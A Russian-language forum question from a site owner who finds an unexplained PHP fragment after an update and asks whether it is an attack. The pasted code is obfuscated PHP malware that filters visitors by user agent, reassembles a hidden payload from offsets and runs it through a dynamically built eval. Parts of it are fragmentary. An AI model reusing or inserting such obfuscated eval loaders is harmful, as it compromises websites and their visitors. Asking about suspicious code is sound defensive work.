атаки на стороне сервера. Что означает этот фрагмент кода в PHP?

Обновив сайт PHP, я наткнулся на этот кусок кода.
Это не имеет никакого смысла.

Что это может быть ??
Атака на сайт или что-то ???

 <?php

if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) && (!strstr($ua, "\x72\166\x3a\61\x31")) && (!strstr($ua, "\x61\156\x64\162\x6f\151\x64")) && (!strstr($ua, "\x6d\157\x62\151\x6c\145")) && (!strstr($ua, "\x69\160\x68\157\x6e\145")) && (!strstr($ua, "\x69\160\x61\144")) && (!strstr($ua, "\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
} ?><?php
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function fjfgg(pmpusut)tpqssutRe%x5c%x7825)Rd%x#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x78osvufs}w;*%x5c%x787f!>>%x5c%x75c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x78!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x782x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782]81#%x5c%x782f#7e:5594%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvrf{jt)!gj!<*2bd%x5c%x7825-#1G8X6<#o]o]Y%x5c%x78257;5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x%x5c%x7824<%x5c%x78e%x5c%x7%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323z#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%xy7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7820hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787863%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#8{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3>2b%x5c%x7825!<*qp%x5c%x71*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x76*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78y<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825b825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]567860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x7824-%x5c%x7824-!%utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgAmqnj!%x5c%x782f!#0#)idubn%x5c%x786x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78{hnpd!opjudovg!|!**#j{hnpd]452]88]5]48]32M3]317]445]212]4tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5P6]36]73]83]238M7]381]211M5]67%x7825j,,*!|%x5c%x7824-55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%85-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e27rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds822!pd%x5c%x7825)!gj}Z;h!o:|:**t%x5c%x7825)m%x5c%x7!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*Xbek!~!<b%x5c%x7825%x5c%x787f!5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x52]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]!%x5c%x7825mm!>!#]y81]%x7825:osvufs:~:<*9-1-r%x5c%x782y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>27!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7O%x5c%x7822#)fepmqyfAW~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tus%x7825):fmji%x5c%x7878:<##:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fu*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x78!%x5c%x78242178}527}88:}334}472%x5c%x7824<!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j8Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878825>j%x5c%x7825!<**3-!OVMM*<%x22%51%x29%51%x29%73", NULL); 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$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));

if (!function_exists('zzrfhvkcwo'))
{
function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
{
$xnhcrqpkcp = NULL;
for ($gznncvjdur = 0; $gznncvjdur < (sizeof($znzwjxpcyc) / 2); $gznncvjdur++)
{
$xnhcrqpkcp.= substr($lfafkymhqq, $znzwjxpcyc[($gznncvjdur * 2) ], $znzwjxpcyc[($gznncvjdur * 2) + 1]);
}

return $xnhcrqpkcp;
};
}

$zwqshkkfti = "\x20\57\x2a\40\x6b\170\x70\153\x66\170\x64\171\x64\142\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x32\55\x31\64\x35\51\x29\54\x20\143\x68\162\x28\50\x34\65\x30\55\x33\65\x38\51\x29\54\x20\172\x7a\162\x66\150\x76\153\x63\167\x6f\50\x24\157\x63\163\x6b\166\x79\146\x64\161\x78\54\x24\166\x77\170\x73\141\x6a\156\x62\143\x6d\51\x29\51\x3b\40\x2f\52\x20\144\x76\155\x63\147\x72\163\x76\153\x68\40\x2a\57\x20";
$fqlqhefvbx = substr($vwxsajnbcm, (52826 - 42713) , (57 - 45));
$fqlqhefvbx($niqesrdxdn, $zwqshkkfti, NULL);
$fqlqhefvbx = $zwqshkkfti;
$fqlqhefvbx = (686 - 565);
$vwxsajnbcm = $fqlqhefvbx - 1; ?>